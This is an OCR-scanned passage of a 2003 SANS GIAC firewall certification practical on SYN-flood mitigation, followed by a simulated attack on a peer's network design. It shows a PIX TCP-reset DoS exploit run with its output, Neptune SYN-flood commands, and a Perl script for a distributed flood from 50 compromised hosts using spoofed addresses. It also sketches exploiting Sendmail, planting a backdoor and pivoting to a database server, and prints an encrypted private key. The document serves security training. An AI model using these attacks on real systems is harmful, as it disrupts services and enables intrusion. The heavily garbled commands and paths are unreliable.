[rootBlinux rootl# NET: messages suppressed.

a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a
a

[ o w w R w w w  w  w w  w w w fw m  [w

Next, we start takining action by turning the kernel parameters
tcp_syncookies on. Then, after that we experience no more messages
suppressed.

[root@linux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipwdl#
[rootBlinux ipw4l#t echo “1" > sprocrssys/netsipvd/tcp syncookies
[rootBlinux ipwvdl#
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On the External Firewall, the most we can do is to increase the maximum
number of connection tracking table’s entry. Then we experience no more table
full. The number of current size of connection tracking table can be determined
by cat /proc/net/ip_conntrack.

Please note the size of the connection tracking over time. At first, we see
steady increasing in size.

[rootBlinux rootl# echo "ZBBBBA" ,procssys/net/sipvdsip_conntrack _max
288888 /proc/sys/snetsipudsip conntrack max
[root@linux rootl# echo “ZBBABRA" > /procssyssnetsipvdsip _conntrack max
[rootBlinux rootl# grep sproc-nets
ip_mr_cache raw softnet _stat
ip_mr wif route tcp
ip_tables names rt_acct tr rif
netlink rt_cache udp
netstat rt _cache _stat unix
igmp packet snmp wireless
ip_conntrack psched sockstat

[rootBlinux rootl# cat ~sprocsnetsip conntrack
868

[rootBlinux rootl# cat ~procsnetsip conntrack
1193

[rootBlinux rootl# cat ~sprocsnetsip conntrack
1414

[rootBlinux rootl# cat ~procsnetsip conntrack
3956

[rootBlinux rootl# cat ~sprocsnetsip conntrack
4988

[rootBlinux rootl# cat ~procsnet/ip conntrack
5672

[rootBlinux rootl#

At one point the number start to drop. Even though, later on, the number
is fluctuating up and down, we see that there is some upper bound limit that
show the maximum requirements of connection tracking table that could be help
dealing with this attack. | strongly suspect that, if the bandwidth still be able to
handle the incoming SYN packets, then it is possible that increasing the
attacking station could drive this number up dramatically and eventually the
maximum value of connection tracking table’s entry will be reached again.

Also, if the number of maximum connection tracking is too high than the
system can take, the system could become unstable. | have, however, never
experience such behavior though.
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igmp pagket snmp wireless

ip_conntrack psched sockstat

[rootBlinux rootl# cat ~sprocsnetsip conntrack
868

[rootBlinux rootl# cat ~procsnetsip conntrack
1193

[rootBlinux rootl# cat ~sprocsnetsip conntrack
1414

[rootBlinux rootl# cat ~procsnetsip conntrack
3956

[rootBlinux rootl# cat ~sprocsnetsip conntrack
4988

[rootBlinux rootl# cat ~procsnet/ip conntrack
5672

[rootBlinux rootl# cat ~sprocsnetsip conntrack
9253

[rootBlinux rootl# cat ~procsnetsip conntrack
18242

[rootBlinux rootl# cat ~procsnetsip conntrack
18527

[rootBlinux rootl# cat ~sprocsnet/ip conntrack
3387

[rootBlinux rootl# cat ~sprocsnetsip conntrack
8961

[rootBlinux rootl#

113
© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.



Part IV: Design Under Fire

4.1. Introduction

| selected a network design of Fabio Cerniglia Saitta, GCFW Analyst

number 0379 to do this part of the assignment. His practical assignment can be
found at http://www.qgiac.org/practical/ GCFW/Fabio_Cerniglia_ GCFW.pdf.

His network diagram are excerpted as shown below:

200.100.50 .1

BOEDEE BOTTER
Unseciired Perimeter Zotie CIEED 364
150,100,500 150 100,10
L50. 100,500

mmrrmEEarrEs mmarrmmarremn e
WEE
ZFEEVER,
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_DME’ FIREIRALL
_— CISCODOLSLS SEITCH :
Wi VPN o0 3300 i 1 Tu
Auccelirator Cad ﬂ Bimer |
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Ederral |
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A
I
GIAC Tnininet !
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QLA smrmum
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Figure 1
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In this part of assignment, | would demonstrate three types of attack as
following:
- An attack against the firewall itself
A denial of service attack
An attack plan to compromise an internal system through the perimeter
system

4.3. An attack against the firewall itself

He used Cisco PIX™ 515E Firewall with a 6.2 running version as his
firewall. This firewall can sustain up 188 Mbps throughput and can handle as
many as 125000 simultaneous sessions.

This box is also being used as a termination point for VPN services. He
added the CISCO VPN Accelerator Card optimized to handle IPSec
encryption/decryption.

Let's assume that | do not know any of the information above. If | really
have to attack against the firewall, | will first searching for a tool that helps me
determined what types of firewall it is. www.google.com is not a bad tool at all.

| suspect though that there will even be possible to detect the type of
firewall when most of the firewall does not response to any query against it e.g.
there is no port opened, ping is not answer, and everything is immediately
dropped upon arrival at the firewall.

4.3.1. Finding firewall’s IP & Type

How could one determine the IP of the firewall providing that he could
connect to the HTTP server, Mail server, and DNS server? The simplest one |
could think of is traceroute.

Simple traceroute to HTTP server, Mail server and DNS server will
definitely not cause any alarm. However, | would be lucky providing that
nowadays a lot of people configure their firewall such that in does not response
to any request against it.

The output of traceroute would aid the process of finding firewall’s IP, if
there is any. | could not guarantee that all firewall’s IP could be found through.
Some firewall uses the transparent approach or so-called transparent firewall.
Moreover, there is also a bridge-firewall, which is a type of transparent firewall.
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Also, if somehow, the firewall’s IP could be determined then the next thing that is
still difficult to do is to find out what brand of firewall it is.  This, for sure, will not
be as easy as determining Mail Server type, or Web server type, because most
firewalls are designed to be totally silent, not even ping reply are allowed.

In my opinion, finding the firewall IP and the type of firewall through the
network is not as easy. Some kind of social engineering would be much more
efficient, because this kind of information sometimes is not regard as a classified
information in many organization.

| once remember reading Bruce Schnier’s “ Secret and Lies” book. |
hacker always select the attacking path with less cost and higher chance of
success. For me, | would resort to the social engineering approach (by calling) to
determine the type and also IP of the firewall.

4.3.2. Finding the exploit for PIX firewall

Let assume for now that | have got the firewall IP and its brand, CISCO
PIX. | started searching on the Internet for any vulnerability. | search from
google.com for “PIX vulnerability”.

There is one exploit available for doing DoS on the firewall itself. The
detail of the exploit is at http://www.securiteam.com/exploits/5SUQOGO00AG.html.
This exploit is called “tcp_reset.c” or “PIX DMZ Denial of Service (TCP Resets)”

Summary of the exploit

Due to a vulnerability in the way the PIX Firewall keeps
connection state routing tables, a remote attacker can
launch a Denial of Service attack against the DMZ area of
the Firewall. The vulnerability enables remote attackers
to reset the entire routing table, effectively blocking all
communication from internal interfaces to external
interfaces and vice versa.

The source code for the exploit is also available at
http://www.securiteam.com/exploits/SUQOGO00AG.html. | have a copy of it in an
APPENDIX E. TCP_RESET. The code is written and tested on FreeBSD.

Once compiled, | run the exploits. The exploits need the following
parameters.

Su-2.05# ./time_reset
Usage: ./time_reset spoof_file target sps spe dps dpe
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target = your victim
Sps = Source port start
spe = Source port end
dps = Destination port start
dpe = Destination port end
The spoof_file contains the IP that we would likt to spoof

su-2.05# ./time_reset ./spoof.txt 150.100.50.2 2000 2045 25 30
Used spoof file ./spoof.txt

Destination: [150.100.50.2] ports: [25 -> 30]

Target source ports: [2000 -> 2045]

TCP RESET: [10.2.91.9:2000] -> [150.100.50.2:25]
TCP RESET: [10.2.91.9:2000] -> [150.100.50.2:26]
TCP RESET: [10.2.91.9:2000] -> [150.100.50.2:27]
TCP RESET: [10.2.91.9:2000] -> [150.100.50.2:28]
TCP RESET: [10.2.91.9:2000] -> [150.100.50.2:29]
TCP RESET: [10.2.91.9:2000] -> [150.100.50.2:30]
TCP RESET: [10.2.91.9:2001] -> [150.100.50.2:25]
TCP RESET: [10.2.91.9:2001] -> [150.100.50.2:26]
TCP RESET: [10.2.91.9:2001] -> [150.100.50.2:27]
TCP RESET: [10.2.91.9:2001] -> [150.100.50.2:28]
TCP RESET: [10.2.91.9:2001] -> [150.100.50.2:29]
TCP RESET: [10.2.91.9:2001] -> [150.100.50.2:30]
TCP RESET: [10.2.91.9:2002] -> [150.100.50.2:25]

TCP RESET: [10.2.91.9:2011] -> [150.100.50.2:27]
TCP RESET: [10.2.91.9:2011] -> [150.100.50.2:28]
TCP RESET: [10.2.91.9:2011] -> [150.100.50.2:29]
TCP RESET: [10.2.91.9:2011] -> [150.100.50.2:30]
TCP RESET: [10.2.91.9:2012] -> [150.100.50.2:25]
TCP RESET: [10.2.91.9:2012] -> [150.100.50.2:26]

The following is a screen shot of tcpdump taken during the attack. You
can see that a lot of Reset packet has been sent out to the destination system.

su-2.05# tcpdump -i fxp0 host 10.2.91.9
tcpdump: listening on fxp0
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01:13:46.406255 10.2.91.9.callbook > 150.100.50.2.smtp: R
454115067:454115087(20) win 512

01:13:46.426305 10.2.91.9.callbook > 150.100.50.2.26: R
454115319:454115339(20) win 512

01:13:46.446140 10.2.91.9.callbook > 150.100.50.2.nsw-fe: R
454115571:454115591(20) win 512

01:13:46.466079 10.2.91.9.callbook > 150.100.50.2.28: R
454115823:454115843(20) win 512

01:13:46.486204 10.2.91.9.callbook > 150.100.50.2.msg-icp: R
454116077:454116097(20) win 512

01:13:46.506199 10.2.91.9.callbook > 150.100.50.2.30: R
454116327:454116347(20) win 512

01:13:46.526299 10.2.91.9.dc > 150.100.50.2.smtp: R
454116581:454116601(20) win 512

01:13:46.546305 10.2.91.9.dc > 150.100.50.2.26: R 454116833:454116853(20)
win 512

01:13:46.566358 10.2.91.9.dc > 150.100.50.2.nsw-fe: R
454117089:454117109(20) win 512

01:13:46.586393 10.2.91.9.dc > 150.100.50.2.28: R 454117343:454117363(20)
win 512

01:13:46.606234 10.2.91.9.dc > 150.100.50.2.msg-icp: R
454117595:454117615(20) win 512

01:13:46.626225 10.2.91.9.dc > 150.100.50.2.30: R 454117851:454117871(20)
win 512

If successful, this attack would cause the destination firewall (CISCO PIX)
to reset its entire routing table on the firewall causing the Denial of Service (DOS)
attack against the firewall itself.

4.4. A denial of service attack

As we can see from the description stated in 4.3 that his firewall can
handle up to as many as 125000 simultaneous sessions. This is not difficult at
all to do DOS attack against his enterprise.

4.4.1. SYN Flood with Neptune Project

| have given overview about SYN flood and the tools | have accidentally
discovered in “Section 3.7.2.3. SYN flood” and “Section 3.7.2.3.1. SYN flood in
action”. The tools | have discovered from the web has been published in Phrack
Magazine No0.48, title “Project Neptune”.

The tools could be amazingly deployed. The source of attack is totally
spoofed, so the attacked system has no way to determine (and get rid of).
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[rootPlinux rootl# ./neptune -s 1A.188.95.98 -t 192.168.3.69 -p 25 -a Z0HBHA

Flooding target: 1157867712
25
ZARAAA

Puportedly from: 1658439178

The above screen shot show how a system could be launched gainst the
victim systems.

My idea of doing DDoS against his system is too fill up all of the 125,000
simultaneous sessions that his CISCO Pix 515E could handle without providing
his any opportunity to guard against. Providing that | have 50 compromised

cable modem/DSL systems in my control. With Neptune82, | could easily

achieve that goal. Please note that the intention of this method is not to saturate
the link.

Let now, devise some ploy to avoid him blocking packets sending from 50
machines of mine based on those packet source IP. Blocking packets form their
source is the only thing left he could do to prevent that. He could not block SYN
packet going to his servers.

In his DMZ, he has three servers accessible from the Internet: Web
Server, DNS Server, and Mail Server. Those servers could be our target of SYN
packets. Even though we do not attack the servers themselves, sending SYN
packets to them cause a quota within available 125,000 simultaneous to be
taken. Sooner or later, those 125,000 would be occupied leaving no one else to
be able to pass through it, thus the GIAC Enterprises’s Service are being denied.
Besides, the IP of those servers could be easily found, because those servers
are intended for the public use. | can find the web server from the company
HTTP’s URL. I can find the DNS server from their domain name using

82 “Project Neptune”, Phrack Magazine, Volume Seven, Issue Forty-Eight, File 13-18,
http://www.phrack.org/show.php?p=48&a=13
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nslookup. Also, | could find their MX record which point out what IP are running
their mail server.

Let also be creative, now we could generate some kind of a list of fake
source IP that we could use. Make that list as diversify as possible so that it is
hard to block against any of them. Sending SYN packets from only one spoofed
IP are stupid because they can block those packets from the source IP at the
border router.  Also, make those IP so that it is a validly routable IP, do not use
the private IP block because it could be screened out as easy.

Once the list is created, we create the script to run Neptune from all of our
50 based stations. Here is some examples of command that we could use on
one such stations.

#! Jusr/bin/perl

$IPLIST = fiplist.txt”;
$MAILSERVER_IP = “150.100.50.20";
$WEBSERVER_IP = “150.100.50.10";
$DNSSERVER_IP = “150.100.50.30";

open (INFILE, $IPLIST);

while <INFILE> {
‘Isbin/neptune —s $_ -t SMAILSERVER_IP —a 1000 &"
‘Isbin/neptune —s $_ -t SWEBSERVER_IP —a 1000 &’
‘Isbin/neptune —s $_ -t $SDNSSERVER_IP —a 1000 &"

Let’s say | have already put my compiled version of Neptune.c into /sbin,
and | save this perl script under the name ./myattack.pl with mode 700. Also,
the file iplist.txt contains a lot of IP, let say | have generated 100,000 valid IP for
each of those 50-compromised cable modem/DSL system.

The rest | have to do is to activate the running of this script from those 50
machines simultaneously. Meanwhile, | could check his web site to see if | could
still be able to access his website, but by then, | have no worried anymore, it is
just a matter of time before this entire system will be useless.

Now, let’s the attack begin!
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4.4.2. Mitigation against SYN Flood attack

To be frank, this kind of attack is hopeless to guard against. The larger
model of firewall might be able to help in order to be able to handle more
simultaneous sessions. This class of attack is really hard to guard against.

4.5. An attack plan to compromise an internal system through the perimeter
system

| will select the Database Server within the Internal DMZ to be the target of
attack. The reason that | select the Database Server is because the server
contains important information about the company product and their customer
information.

Starting from the Internet, it is really easy to find out about servers on the
DMZ. | could start from any depending on what types of the servers and
whether or not | could find the exploit of any of those servers on the DMZ. Those
three servers are Mail Server, Web Server and DNS server.

Checking which software is running from Mail Server, Web Server and
DNS Server is trivial.

su-2.05# telnet 150.100.50.20 25
Trying 150.100.50.20 ...
Connected to XXX.XXX.XXX. XXX
Escape character is 'V]'.

220 XXX.XXX.XXX ESMTP

In the above case, simple telnet could not tell which version of mail server
is running on it. Besides from simple telnet to the port to see the banner of the
server (if there is any), tools such as smtpscan can be used to find types of Mail
Server being used.

Smtpscan, http://packetstormsecurity.nl/UNIX/scanners/smtpscan-
0.5.tar.qz.

The following information about smtpscan are form Packet Strom’s UNIX
scanner page http://packetstormsecurity.nl/UNIX/scanners/indexdate.shtml.

Smtpscan is a tool to guess which MTA is used by sending
several "special" SMTP requests and by comparing error
codes returned with those in the fingerprint database. It
does not take into account banners and other text
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information, that cannot be trusted, only error codes. A
document describing the fingerprinting method implemented
in smtpscan is available here.

Changes: Updated fingerprint database that contains more
than 3,000 entries.

Homepage: http://www.greyhats.org/outils/smtpscan.

By Julien Bordet

Running smtpscan

su-2.05# smtpscan 150.100.50.20

smtpscan version 0.4

Scanning 150.100.50.20 (150.100.50.20) port 25
15/15

Result --
250:501:501:250:553:250:550:214:252:502:502:502:502:250:250

Banner :
220 XXX XXX. XXX ESMTP

SMTP server corresponding :
- Sendmail 8.11.2
Su-2.05#

It will be much more easier to attack if the Mail Server is running
Sendmail, the Web server is running 11S and the DNS server is running BIND.
These servers have had history of periodic security patch.

| have to be really patience if the version they are running has been
patched regularly. | would have to just wait until the next exploits against those
servers are coming out. Normally, the servers would not be patched until a few
hours after the public announcement come out. This might take months or even
years to find the perfect opportunity.

Right now, there is one public announcement of Remote Buffer Overflow
in Sendmail for sendmail running on many systems including systems running
open-source sendmail versions prior to 8.12.8, including UNIX and Linux
systems
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CERT® Advisory CA-2003-07 Remote Buffer Overflow in Sendmail,
Published in March 3, 2003, and revisited in April 22, 2003,
http://www.cert.org/advisories/CA-2003-07.html.

The keyword “Remote Buffer Overflow” make this announcement
interesting for me especially after | found out that his system is running Sendmail
verision 8.11.2 which is obviously prior to version 8.12.8 as described by the
CERT Advisory CA-2003-07.

The next thing for me is to thoroughly in order to understand what kind of
remote buffer overflow is it. Then, I tried to search for the exploit from the
Internet. (Otherwise, | might have tried to developed the exploit myself, if the
reward is so high.)

Fortunately, there are some exploits available for Sendmail. “Sendmail
Debugger Arbitrary Code Execution Vulnerability”

/data/vuInerabiIities/exploits/alsou.c83
/data/vulnerabilities/exploits/alsouz.tar.qz84
/data/vulnerabilities/exploits/xp.tar.qz85
/data/vuInerabiIities/exploits/sendmail-8-11-x.c86

Once | am able to successfully attack any of those systems, | would create
the backdoor so that | can use it as a channel to get back into the system without
being notice.

It would take a while from the machine running Sendmail that | am able to
get in to attack other machine within the same DMZ, but that would be a lot
easier because | do not block by firewall when | did the port scanning (for some
other easier service that might have been left opened.)

Also, | could try to sniff the traffic in case | could get an easy password to
an important system.

Moreover, | might try to use the fragmentation and teardrop attack to the
firewall in order to trick it to allow traffic from External DMZ to go to Internal
DMZ. Those are all things one might try after gaining access to one of the
servers residing on the External DMZ.

In short, without any trust relationship between the servers within Internal
DMZ and External DMZ, | would fail to get into my target system that | would like

83 http://www.securityfocus.com/data/vulnerabilities/exploits/alsou.c

84 http://www.securityfocus.com/data/vulnerabilities/exploits/alsou?2.tar.gz

85 http://www.securityfocus.com/data/vulnerabilities/exploits/xp.tar.gz

86 http://www.securityfocus.com/data/vulnerabilities/exploits/sendmail-8-11-x.c
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to illegally gain access to, even if | have already obtained the access to the Mall
server in the External DMZ.

On the contrary, | they do have another mail server in the internal DMZ, |
might be able to connect to that server from the External DMZ. If that is also a
Sendmail system, then | might also be able to exploited it as well.

Once, | can gain access to any of the server within Internal DMZ, | have a
much higher chance of gaining to my target, the Database server.
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APPENDIX A: VPN IPSec’s Gateway Public Key

Certificate:
Data:
Version: 3 (0x2)
Serial Number: 1 (0x1)
Signature Algorithm: md5WithRSAEncryption
Issuer: C=GB, ST=Berkshire, L=Newbury, O=My Company Ltd, CN=TRIPLE X
CA/Email=ca@giacenterprise.net
Validity
Not Before: May 24 07:27:16 2003 GMT
Not After : May 23 07:27:16 2004 GMT
Subject: C=GB, ST=Berkshire, L=Newbury, O=My Company Ltd, CN=FreeS/WAN
Gateway/Email=gateway@giacenterprise.net
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public Key: (1024 bit)

Modulus (1024 bit):
00:04:09:62:fe:84:76:bf:a8:27:dd:af:43:ba:2d:
a7:al:a8:al:b7:77:c7:£9:60:8f:ba:c7:d2:58:18:
£f4:45:db:eb5:£8:£f1:17:c1:£0:51:e7:42:85:£0:dc:
d5:cb:a4:d6:5¢c:10:07:59:b8:b7:5d:cf:68:65:ca:
68:d1:0b:£8:e4:2d:7b:c8:a0:03:59:73:b5:4d:43:
90:e9:d5:81:05:5£:83:7d:e9:d3:21:70:24:4£:37:
df:df:df:0£:83:cf:0e:7£:35:96:0e:24:10:94:eb:
13:76:32:b1:5e:84:1c:8d:32:6d:03:4e:e3:af:81:
d7:63:c7:6d:8c:98:fb:f1:8d

Exponent: 65537 (0x10001)

X509v3 extensions:

X509v3 Basic Constraints:
CA:FALSE

Netscape Comment:
OpenSSL Generated Certificate

X509v3 Subject Key Identifier:
E1:4E:F5:FE:86:EA:CD:54:DD:75:04:F3:98:C6:4E:89:42:57:C2:DC

X509v3 Authority Key Identifier:
keyid:63:11:83:34:3A:15:4B:16:43:54:DA:C6:BC:55:A0:3D:24:E4:99:9E

DirName:/C=GB/ST=Berkshire/L=Newbury/O=My Company Ltd/CN=TRIPLE X

CA/Email=ca@giacenterprise.net
serial:00

Signature Algorithm: mdS5WithRSAEncryption
3f:ad:28:ba:07:6e:a2:e7:0d:c4:6f:c6:e6:47:48:4d:c5:79:
af:35:00:6¢c:22:06:e3:¢c0:14:15:32:6a:£7:0f:cb:71:cb:4a:
50:84:00:25:3a:dc:ea:71l:aa:79:c4:22:bc:1d:7b:d7:d7:d2:
c3:£9:36:77:09:5d:93:35:1f:8d:8a:eb:0e:e5:66:50:c0:c7:
49:e3:81:12:a1:8b:78:49:a7:88:60:ed:af:d0:£9:5£:d3:06:
£7:29:02:el:5a:1d:8a:93:9c:42:7d:04:b5:52:e9:aa:df:92:
65:8c:£7:b2:48:ce:5f:6e:7d:9d:14:69:£7:d7:9c:dd:42:bd:
b6:£0

————— BEGIN CERTIFICATE-----

MIID1DCCAV2gAwIBAgIBATANBgkghkiGOwOBAQQFADCBgTELMAKkGAIUEBhMCROIX
EJAQBgNVBAgTCUJlcmtzaGlyZTEQMA4GAIUEBXMHTMV3YnVyeTEXMBUGA1UEChMO
TXkgQ29tcGFueSBMAGQOxFDASBgNVBAMTC1RSSVBMRSBY IENBMROwGWY JKoZIThveN
AQkBFg5jYUBnaXRzILm51dC50aDAeFwOwMzAIMjQwNzI3MTZaFwOwNDAIMjMwNz I3
MTZaMIGMMQswCQYDVQQOGEwJHQJESMBAGAIUECBMJIQmVya3NoaXJ1MRAwWDgYDVQQH
EwdOZXdidXJ5MRcwFQYDVQQKEwWSNeSBDb21lwYW55IExXx0ZDEaMBgGAIUEAXMRRNJ 1
ZVMvVOFOIEdhdGV3YXkxIjAgBgkghkiGOwOBCQEWE2dhdGV3YX1AZ210cy5uzZXQu
dGgwgZ8wDQYJKoZIhvcNAQEBBQADgYOAMIGJAOGBALQJIYV6Edr+0J92vQ70tp6Go
obd3x/1g37rH01gYIEXb5fjxF8HwUedChfDclcukllwQt1lm4t1l3PaGXKaNEL+OQt
e81gsl1llztUlDkOnVgQVig33p0yFwJE8339/fD4PPDn811g4kEJTrE3YysV6EHIOy
bONO04 6+B12PHbYyY+/GNAGMBAAG) ggENMI IBCTAJBgNVHRMEA § AAMCWGCWCGSAGG
+EIBDQQfFh1PcGVUULINMIEdlbmVyYXR1ZCBDZXJ0aWZpY2F0ZTAABgNVHQ4EFgQU
4U071/0bgzVTddQTzmMZ0iUJXwtwwgadGA1UdIwSBpjCBo4AUYxGDNDOVSxZDVNrG
VEWgPSTkmZ6hgYekgYQwgYExCzAJBgNVBAYTAKACMRIWEAYDVQQIEW1CZXJrc2hp
cmUxEDAOBgNVBACTB051d2J1cnkxFzAVBgNVBAOTDk15IENVvbXBhbnkgTHRKMRQwW
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dGiCAQAWDQYJKoZIhvcNAQEEBQADgYEAP6OougduoucNxG/G5kdITcV5rzUADLCK2
48AUFTJIq9w/LcctKUIQAJTrc6nGgecQivBl719fSw/k2d71dkzUfjYrrDuvVmUMDH

P A e o o e S LT T
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APPENDIX B: VPN IPSec’s Gateway Private Key

Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,B63B95D1A9640CEE

YsXwVNS50YsL7gWulbclOuXwfG621i0vEsin5I0+BBMUAPMABACUPSBMVIQJq8yzz+
ZOAdhpFsOul/VY4NzDxR539m+8y7HBOSOI1c7zY+cPQ5/diAfvgWWL]5TdBkgHI]
WHJIgaQkkcVEVx4zROImTn4tsyxVwdXhbr5+VFgp4K6gKvgoaNQcl+5SM7M4o0zgBo
KXpY74T6ad70wpC7pXs3FhowW9287PjWY5voJVsktPtk2F7j199wNGFPitrZGJILw
Kx2SwC3ual/vG0laz+Xb¥Yn9KVz/eDTaRLxcb6+ewXndnt6gmZGEAAUbIRmMnNM/nxW
D4fgZY1/dJ2fFBkRNAAQ1BOtnjbK8RiLnIxz52D1HgagLKpH6NJH+DAaVZwjaONY
JtT2cRXJOxjX1vpITglUdcu3Lo26727//PegqhA4SABIEBLVbFH2ex1p4dsMU28c+F
g65fpPBHgN/nGnjkOKoRpH02013DeKIoGorJceiwH4G69y8wugVCT2PXwldjbPkd
c1DXvdsnlmYXO/Omr/s8SNODD/H7HGN8P50+pMmM+HAdOR3+9GdA0V3FIOgpxFfak
Shcd67Y8MIOI7vKo7jEP3v1JeAYyC3jAvIPkhZPqdLIWWLN60jaudzv/KQlXnUYqW
JguU8FNeBQ75Da0wojT7LLu2Rci45MKTIt83veXtkCbDmsgA7q6f/1sLPRK1S46C
btUfOC+zIz2hjabhxCC3kWE5AL/DNX+K2DBu7VySJINnNuJUzYvNfpg7wMOwXykIW
e6fG7rbh7kW72L2YWScY91yZIGpwUvwIMw+teNsf5cxbcaRNBHaGlog==

MIIDfTCCAuagAwIBAgIBADANBgkghkiGOwOBAQQFADCBjDELMAkKkGAIUEBhMCROIX
EJAQBgNVBAgGTCUJlcmtzaGlyZTEQMA4GAIUEBXMHTMV3YnVye TEXMBUGA1UEChMO
TXkgQ29tcGFueSBMAGQOxGJAYBgNVBAMTEUZyZWVTL1IdBTiBHYXR1IA2FSMSIwWIAYJ
KoZIhvcNAQkBFhNnYXR1d2F50GdpdHMubmVOLNnRoMB4XDTAZMDUyYNDA3MjcwMloX
DTAOMDUyMzA3MjcwMlowgYwxCzAJBgNVBAYTAKACMRIWEAYDVQQIEwW1CZXJrc2hp
cmUxEDAOBgNVBAcCTB051d2J1cnkxFzAVBgNVBAOTDk15IENvbXBhbnkgTHRKkMRow
GAYDVQQDExFGcmV1Uy9XQU4AgR2F0ZXdheTEiMCAGCSgGSIb3DQEJARYTZ2F0ZXdh
eUBnaXRzLm51dC50aDCBnzANBgkghkiGO9wOBAQEFAAOBIQAWgYkKCgYEAtALL /oR2
vogn3a9DuiZ2noaiht3fH+WCPusfSWBjORAVv1+PEXwEBR50KF8NzVy6TWXBC3Wbi3
Xc90Zcpo0Qv45CLl7yKCzWXO1TUOQ6dWBBV+DEfenTIXAkTzf£398Pg880fzWWDiQQ————— END CERTIFICATE-----
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APPENDIX C: Firewall Auditing Tools

ISECOM also list some of the tools related to firewall testing at
http://www.isecom.ca/projects/operationaltools.htm#fra

The following list of tools is taken directly from the ISECOM web site.

Firewall, Router & ACL Testing

egressor
Unix .. Windows .. Internet
Testing egress filtering

ethereal
Unix .. Windows .. Internet
logging leaking traffic from scans more easily than with tcpdump

firewalk
Unix .. Windows .. Internet
Determining ACLs on gateway devices

hping
Unix .. Windows .. Internet
custom ICMP/UDP/TCP packets to test firewall ACLs

IRPAS

Unix .. Windows .. Internet

IRPAS contains at the moment the following tools: * cdp This program is for
sending CDP (Cisco router Discovery Protocol) messages to the wire. * igrp
As the name suggests, this tool is for sending Interior Gateway Routing
Protocol messages. * irdp As the name suggests, this tool is for sending
ICMP router discovery protocol messages. * irdpresponder Waits for IRDP
requests and sends out response packets to fool clients. * ass ASS is a
Autonomous System Scanner. * file2cable sends out raw ethernet frames
from files * itrace traceroute(1) by ICMP echo request * tctrace traceroute(1)
by TCP SYN packets * netenum enumeration / ping-sweep tool * netmask
ICMP netmask request * protos IP protocol scanner * hsrp HSRP takeover
tool

nemesis
Unix .. Windows .. Internet
Generating / spoofing various packets

nma
Unix .. Windows .. Internet
Generic or exotic scanning with different flags or source ports
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Router Audit Tool (RAT)
Unix .. Windows .. Internet
compares router configurations against benchmarks

tcpdump
Unix .. Windows .. Internet

monitoring logging leaking traffic from scans

Firewall Tester

Unix .. Windows .. Internet

The Firewall Tester consists of two perl scripts, the client part (ftest) and the
listening sniffer (ftestd). The client injects custom packets, defined in
ftest.conf, with a signature in the data part while the daemon listens for such
marked packets. The scripts both write a log file which is in the same form for
both scripts. A diff of the two produced files (ftest.log and ftestd.log) shows
the packets that were unable to reach the sniffer due to filtering rules if these
two scripts are ran on hosts placed on two different sides of a firewall. Stateful
inspection firewalls are handled with the 'connection spoofing' option. A script
called freport is also available for automatically parse the log files. An IDS
(Intrusion Detection System) testing feature is also available and can be used
either with ftest only or with the additional support of ftestd for handling
stateful inspection IDS, ftest can also use common IDS evasion techniques.
Instead of using the configuration syntax currently the script can also process
snort rule definition file.

Features:

- firewall testing

- IDS testing

- simulation of real tcp connections for stateful inspection firewalls
(Netfilter,IPfilter...) and IDS (snort)

- connection spoofing

- IP fragmentation / TCP segmentation

- IDS evasion techniques

IP_Restrictions Scanner

Unix .. Windows .. Internet

It combines ARP Poisoning and Half-Scan techniques to try spoofed TCP
connections to a selected port in order to find any source IP restrictions that
apply to that service.

Denial of Service Testing

Nessus
Unix .. Windows .. Internet
Wide spread vulnerability scanner which is actively maintained. It has a
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database for known vulnerabilities and includes CVE links. It uses intrusive
detection which can be revealed by IDS.The "Nessus" Project aims to provide
to the internet community a free, powerful, up-to-date and easy to use and
remote security scanner. A security scanner is a program which will audit
remotely a given network and determine whether bad guys (aka ‘crackers’)
may break into it, or misuse it in some way. It works with a client-server
topology (the server part works only with *NIX systems), and there are clients
working in Java, Windows and *NIX

DataPool

Unix .. Windows .. Internet

Datapool v3.3 combines 106 dos attacks into one script. This version actually
learns by keeping a database of which attacks are successful against each
host, so the next time it uses the most successful attack first. Features
logging, port rance specification, continous attack option, multiple IP
addresses, and looping attack of multiple IPs. Includes sources of almost all
attacks used, many of which are edited for speed and greater effect.
Changes: A icmp/udp/syn flooder scripted by the author, many new options,
documentation updates. Simultaneous attacks were added, along with
several line speed options. By Spender

Bing
Unix .. Windows .. Internet
Bandwidth Ping. Estimates bandwidths between network hosts and routers.

hping

Unix .. Windows .. Internet

hping is a command-line oriented TCP/IP packet assembler/analyzer,able to
send custom ICMP/UDP/TCP packets and to display target replies like ping
does with ICMP replies. It handles fragmentation and arbitrary packet body
and size, and can be used to transfer files under supported protocols. Using
hping2, you can: test firewall rules, perform [spoofed] port scanning, test net
performance using different protocols, packet size, TOS (type of service), and
fragmentation, do path MTU discovery, tranfer files (even between really
Fascist firewall rules), perform traceroute-like actions under different
protocols, fingerprint remote OSs, audit a TCP/IP stack, etc. hping2 is a good
tool for learning TCP/IP.

Also, the following tools might be of interested to those who have to test and
audit firewall.

Ftester: A tool developed in PERL by Andrea Barisani for testing ACLs on
routers and firewalls. Special scripts allow for meeting OSSTMM testing
requirements with or without having access to both sides of the firewall.
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(http://sourceforge.net/projects/ftester/, http://ftester.sourceforge.net/ )

A very similiar tool is the filterrules package, you can find it at
http://www.hsc.fr/ressources/outils/filterrules/index.html.en

Fragrouter, http://www.anzen.com/research/nidsbench

Fragroute, http://www.monkey.org/~dugsong/fragroute
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APPENDIX D: Check lists for allowed access requirements87

Reference Number Audit Result
151-1
151-2
151-3
151-4
152-1
152-2
152-3
152-4
153-1
153-2
153-3
153-4
1541-1
1541-2
1541-3
1541-4
1541-5
15421-1
15421-2
15422-1
15422-2
15423-1
15423-2
15423-3
15423-4
15423-5
15423-6
15423-7
15423-8
15424-1
15424-2
15424-3
15424-4
15424-5
15424-6
15424-7
15424-8
15424-9
15424-10
